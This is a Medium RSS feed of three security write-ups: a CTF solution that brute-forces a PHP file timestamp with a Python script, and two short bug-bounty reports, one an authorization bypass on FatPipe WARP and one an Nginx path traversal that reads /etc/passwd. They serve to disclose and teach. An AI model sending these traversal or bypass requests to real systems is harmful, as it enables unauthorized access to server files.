<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammed Amer on Medium]]></title>
        <description><![CDATA[Stories by Mohammed Amer on Medium]]></description>
        <link>https://medium.com/@0nlymohammed?source=rss-bf80d2435ed7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gqrB47hsKkzKTk0UJMVYYw@2x.jpeg</url>
            <title>Stories by Mohammed Amer on Medium</title>
            <link>https://medium.com/@0nlymohammed?source=rss-bf80d2435ed7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:55:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0nlymohammed/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[BlackHat CTF Writeup: Breaking Down the Timestamp Challenge ⏳]]></title>
            <link>https://medium.com/@0nlymohammed/blackhat-ctf-writeup-breaking-down-the-timestamp-challenge-d4075ff8d220?source=rss-bf80d2435ed7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4075ff8d220</guid>
            <category><![CDATA[blackhat]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Mohammed Amer]]></dc:creator>
            <pubDate>Thu, 28 Nov 2024 10:49:12 GMT</pubDate>
            <atom:updated>2024-12-02T00:06:37.440Z</atom:updated>
            <content:encoded><![CDATA[<h4>Hello everyone, Mohammed here again. I know it’s been a long time, but I’m back again for the writeup, and this time, I’m diving deep into one of the Easiest and trickiest challenges I faced during the BlackHat CTF <strong>the Timestamp Challenge ( “Russian Roulette” ).</strong> At first glance, it seemed like just another web challenge, but little did I know how much of a mind-bender it would be. So grab your Costa coffee From Hall 2, and let’s dive into the details of how I tackled this tricky challenge</h4><h3>Here’s the PHP code that greeted me when I opened the challenge</h3><pre>highlight_file(__FILE__);<br>if (!file_exists(&#39;1.txt&#39;) &amp;&amp; fopen(&#39;1.txt&#39;, &#39;w&#39;))      <br>    touch(&#39;note.txt&#39;, random_int(946684800, 1704067200));<br>elseif ((int)@$_GET[&#39;mtime&#39;] ?: 0 === filemtime(&#39;note.txt&#39;))<br>    echo @include &#39;flag.php&#39;;<br>else {<br>    $bullets = [1, 0, 0, 0, 0, 0];<br>    shuffle($bullets);<br>    if ($bullets[0] &amp;&amp; @unlink(&#39;flag.php&#39;) || !file_exists(&#39;flag.php&#39;))<br>        die(&#39;Game over!&#39;);<br>}</pre><p>Let me break it down for you:</p><ol><li><strong>highlight_file(__FILE__):</strong> Displays the PHP source code for us. No big deal here.</li><li><strong>First </strong><strong>if Block:</strong> If 1.txt doesn’t exist, it creates 1.txt and a file called note.txt. The kicker? It assigns note.txt a random modification time (mtime) somewhere between January 1, 1990, and January 1, 2024.</li><li><strong>Second </strong><strong>elseif Block:</strong> If you pass the correct mtime of note.txt as a GET parameter (?mtime=...), the server includes flag.php, which contains the flag.</li><li><strong>The Else (Russian Roulette):</strong> If the mtime check fails, the script plays a twisted game of Russian Roulette. There’s a 1/6 chance it will delete flag.php. If that happens… well, <em>game over</em>.</li></ol><h3>My Approach</h3><p><strong>Step 1 Trigger File Creation</strong></p><p>The first thing I needed was to make sure the server ran the first block of code. If 1.txt doesn’t exist, the server creates note.txt a random mtime. So, I ensured I accessed the page in a fresh state to let the script do its thing.</p><h4>Step 2 Find the Right mtime</h4><p>This was the fun (and tedious) part. I had to figure out the exact mtime assignment to note.txt. Since the mtime was a random value in a specific range (946684800 to 1704067200), brute-forcing was my go-to strategy.</p><p>Here’s the Python script I wrote to brute-force the mtime:</p><h3>Example Python Script for Brute Forcing:</h3><p>You can reuse the earlier script with the updated URL:</p><pre>import requests<br><br>url = &quot;http://a91e5156aadd166111ed6.playat.flagyard.com/&quot;<br>start_time = 946684800<br>end_time = 1704067200<br><br>for mtime in range(start_time, end_time):<br>    response = requests.get(url, params={&quot;mtime&quot;: mtime})<br>    if &quot;flag&quot; in response.text:  # Adjust if flag.php returns different content<br>        print(f&quot;Success mtime: {mtime}&quot;)<br>        print(response.text)<br>        break<br>    print(f&quot;Tried mtime: {mtime}&quot;)</pre><h3>Things to Watch For:</h3><ul><li><strong>Reset the Challenge if Necessary</strong> Because flag.php gets deleted, reset the environment, and repeat the process.</li></ul><p>With every failed attempt, the script could potentially delete flag.php That’s when I realized I needed to tread carefully. Each request had to count</p><p>Thankfully, after a like hour of scripting and testing (and a bit of luck), I hit the jackpot 🎉</p><h3>The Moment of Glory</h3><p>After several tries, the script returned a success message. I finally found the correct mtime one and included it as a GET parameter. The server included flag.php and boom there it was, the flag in all its glory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*bx5yGYjzzbaGJSt4E55W5g.jpeg" /><figcaption><strong>I know the quality isn’t great but I took the picture with my iPhone camera.</strong></figcaption></figure><h3>Lessons Learned</h3><ol><li><strong>Never Underestimate a Challenge</strong> What seemed like a simple timestamp comparison turned out to be a rollercoaster of random numbers and file manipulation.</li><li><strong>Be Patient</strong> Challenges like these test your persistence. If you keep at it, the solution will reveal itself.</li></ol><h3>Happy Hacking 🖤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4075ff8d220" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FatPipe Networks WARP Verison  — Authorization Bypass]]></title>
            <link>https://medium.com/@0nlymohammed/fatpipe-networks-warp-verison-authorization-bypass-3f7a756f21de?source=rss-bf80d2435ed7------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f7a756f21de</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[netowrking]]></category>
            <dc:creator><![CDATA[Mohammed Amer]]></dc:creator>
            <pubDate>Fri, 31 Dec 2021 14:54:15 GMT</pubDate>
            <atom:updated>2021-12-31T14:54:15.156Z</atom:updated>
            <content:encoded><![CDATA[<p>FatPipe Networks WARP Verison — Authorization Bypass</p><p>Well Hello again,</p><p>Steps To Reproduce::</p><p>FatPipe Networks invented the concept of router-clustering, which provides the highest level of reliability, redundancy, and speed of Internet traffic for Business Continuity and communications. FatPipe WARP achieves fault tolerance for companies by creating an easy method of combining two or more Internet connections of any kind over multiple ISPs. FatPipe utilizes all paths when the lines are up and running, dynamically balancing traffic over the multiple lines, and intelligently failing over inbound and outbound IP traffic when ISP services and/or components fail.</p><p>curl -vk “<a href="https://wl169044128235.pureapplication.ibmcloud.com/fpui/jsp/index.jsp%22">https://</a>redacted<a href="https://wl169044128235.pureapplication.ibmcloud.com/fpui/jsp/index.jsp%22">.com/fpui/jsp/index.jsp&quot;</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-riEEFsvDKevcuwN-SACUg.jpeg" /></figure><h3>Impact:</h3><p>Improper access control occurs when the application provides direct access to objects based on user-supplied input. As a result of this vulnerability, attackers can bypass authorization and access resources behind protected pages.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f7a756f21de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[nginx merge slashes path traversal]]></title>
            <link>https://medium.com/@0nlymohammed/nginx-merge-slashes-path-traversal-bc3793fc1594?source=rss-bf80d2435ed7------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc3793fc1594</guid>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[Mohammed Amer]]></dc:creator>
            <pubDate>Fri, 31 Dec 2021 14:34:18 GMT</pubDate>
            <atom:updated>2021-12-31T14:34:18.041Z</atom:updated>
            <content:encoded><![CDATA[<p>Well Hello,</p><p>This is my first Write-up about path traversal that I find in the DoD I hope you enjoy it while you read it.</p><p>Description:</p><p>A vulnerability in the remote Nginx server could cause the server to merge /slash slash/ together causing what should have protected the website from a directory traversal vulnerability into a vulnerable server.</p><p>first of all, this issue can’t be Reproduce via the browser so you need to use another way by using a burp suite:</p><p>GET ///////../../../etc/passwd</p><p>Host: redacted.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qZZBcBgkfMfTuDKQuJJVg.jpeg" /><figcaption>In order to exploit the traversal vulnerability in this app, you can request a file from a directory one level up by using the ‘///////../../../’ notation. Here we request the etc/passwd file directly from the server.</figcaption></figure><h3>How did we determine that merge_slashes is ‘off’:</h3><p>Within the NGINX documentation, we are able to see that the merge_slashes default value is “On”. Therefore two or more ‘/’ characters will be normalized into one ‘/’ character.</p><p><a href="http://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes">http://NGINX.org/en/docs/http/ngx_http_core_module.html#merge_slashes</a></p><p>Enables or disables compression of two or more adjacent slashes in a URI into a single slash.</p><pre>Syntax: merge_slashes on | off;<br>Default: merge_slashes on;<br>Context: http, server</pre><p>When the <em>merge_slashes</em> configuration is turned on, using multiple slashes ‘///’ did not allow us to exploit that vulnerability successfully.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc3793fc1594" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>